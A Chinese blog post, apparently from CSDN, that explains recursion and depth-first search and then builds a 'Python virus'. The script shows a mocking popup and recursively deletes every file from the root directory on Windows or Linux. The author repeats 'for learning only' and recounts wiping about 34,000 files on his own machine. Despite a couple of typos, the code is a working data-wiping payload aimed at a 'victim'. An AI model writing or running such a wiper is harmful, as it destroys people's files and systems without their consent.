python病毒

前言.

        也许你是随便搜搜到的,也许你是从我的洛谷主页找过来的,如果你是从主页找过来的,这篇文章的作者(我)的名字是我在洛谷的旧名字

        这个程序不能算病毒(在大佬的眼里就是渣渣)

        病毒的定义是:能繁衍,能潜伏,能破坏

        今天的病毒只能“破坏”

        不能用这个病毒整蛊别人,此文章仅供学习!!!

        不能用这个病毒整蛊别人,此文章仅供学习!!!

        不能用这个病毒整蛊别人,此文章仅供学习!!!

        (重要的事情说三遍)

正文.

        作用.

                这个病毒就只能删除文件,但是要是把这个病毒放在linux上就是致命的(Windows没试过)

                为什么致命呢?运维人员有句老话:“在linux下一切都是文件”

                也就是说修改linux的个性配置就是以另一种方式修改文件

                如果文件没了呢?整个系统都会以严重的程度呈现出不同的情况(严重的只能重装,本人的亲身经历写在最后)

        导入.

                不知道你有没有学过“递归”,意思是一个函数自己调用自己,每一次调用都有一次操作,具体见下:

                def recursion(ans):

                        if ans == 1:

                                return 1;

                        return ans + recursion(ans - 1)

                如果传递的参数是3,它的运行过程是这样的:

                第一次进入函数,参数是3

                        判断结果为假

                        返回3+传递参数3-1到recursion函数的返回值

                        第二次进入函数,参数是2

                                判断结果为假

                                返回2+传递参数2-1到recursion函数的返回值

                                第三次进入函数,参数是1

                                        判断结果为真

                                                返回1并退出

                                 返回2+1=3

                        返回3+3=6

                最后结果就是6,可以发现这个函数返回值就是从1加到n

                一种新算法就此诞生——深度优先搜索,简称dfs

                一种典型的例子就是走迷宫

                假设一种迷宫是这样的:

                _###

                _#__

                ___#

                ##__

                dfs要从左上角开始走,判断此迷宫能否走到右下角,函数要接受两个参数x,y(坐标)

                函数主体(伪代码):

                接收x,y:

                        如果x或y超界(x<1或x>4或y<1或y>4)

                                退出不返回值

                        如果到了右下角

                                输出可以

                                退出不返回值

                        调用自己,参数是x+1,y

                        调用自己,参数是x-1,y

                        调用自己,参数是x,y+1

                        调用自己,参数是x,y-1

                        (就是枚举四个方向)

        思路.

                我们可以创造一个函数,这个函数接受一个字符串类型的路径,然后获取此路径的文件列表并遍历,然后判断是不是目录,如果是就继续调用自己,不是就删除,遍历完后当前目录肯定是空的,然后就删除当前目录(有些文件可能因为权限问题删不了)

        需用到的部分功能.

                1.弹窗

                        作为一个善良的开发者,我们可以注重一下界面,让程序蹦一个弹窗给受害者,如过受害者点了确认,后果可想而知。

                        那怎么蹦出一个可选择的弹窗呢?

                        python里有一个库:tkinter

                        这个库有一个用于弹窗的东西叫tkinter.messagebox

                        导入:

                        import tkinter.messagebox as tk(本人喜欢用简写)

                        然后这个库有这几种常用的函数

                        1.showwarning,显示警告

                        tk.showwarning('标题', '内容')

                        这句话可以显示一个标题为‘标题’,内容为‘内容’的弹窗

                        2.showerror,显示错误

                        tk.showerror('标题', '内容')

                        这句话跟上一句差不多,就是显示出的图标不一样

                        3.askyesno,选择是或否

                        tk.askyesno

                        这句会显示两个按键:yes,no

                        按yes会返回True,no会返回False

                2.删除和列出

                        这要用到一个os库,这库的功能还挺多的,如下:

                        os.system("")执行系统命令(命令写在双引号,双引号和内容也可以用变量代替)

                        os.popen("").read()和上一句功能一样,但这句能获取执行结果,自己去试试吧

                        os.name("")返回操作系统类型,linux返回'posix',windows返回'nt'

                        os.listdir("")列出指定目录下的文件

                        os.remove("")删除指定文件,任意类型,但不能是目录

                        os.removedirs("")删除指定目录,必须是空目录

        代码.

               

""" 首先引入需要的库 """
import os
import tkinter.message as tk
#建立dfs函数并接收路径
def dfs(lu):
    #获取路径下所有包括隐藏文件
    f = os.listdir(lu)
    #遍历
    for i in f:
        #连接文件和传入的路径
        luj = lu + i
        #try判断
        try:
            #判断系统
            if os.name == 'nt':
                ff = os.listdir(luj + '\\')
                dfs(luj + '\\')
            else:
                ff = os.listdir(luj + '/')
                dfs(luj + '/')
            #如果成功,说明这是目录,继续遍历
        except:
            os.remove(luj)
            #删除
    os.removedirs(lu)
    #删除
#弹窗并确认,此段可删除
if tk.askyesno('警告', '是否运行?'):
    tk.showerroe('错误', '你完了,后会有期')
    #判断系统并递归删除
    if os.name == 'nt':
        dfs('C:\\')
    else:
        dfs('/')

写在最后,本人的亲身经历

        我想在测试机上运行的,可是测试机网络太差,文件传不了,想着建几个测试文件夹,结果因为忘记改目录,运行时它是从根目录开始删除(我是linux系统,当时用的还是root)

        仅仅运行了2秒,我发现不对劲后停止了程序,删掉了3万4千多文件,整个系统基本用不得了,网络也没法访问,大多数命令用不了,什么浏览器、终端都打不开,然后我才想起来我自己做了一个用来传文本的python程序,不过现在想起来也没什么用了,我只能把一些我自己做的比较大的程序打开并发送,然后重装系统才完事。

        如果你要运行,千万千万要新创建几个测试文件,然后修改路径

        再次提示:

                此文章仅供学习!!!

                此文章仅供学习!!!

                此文章仅供学习!!!

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值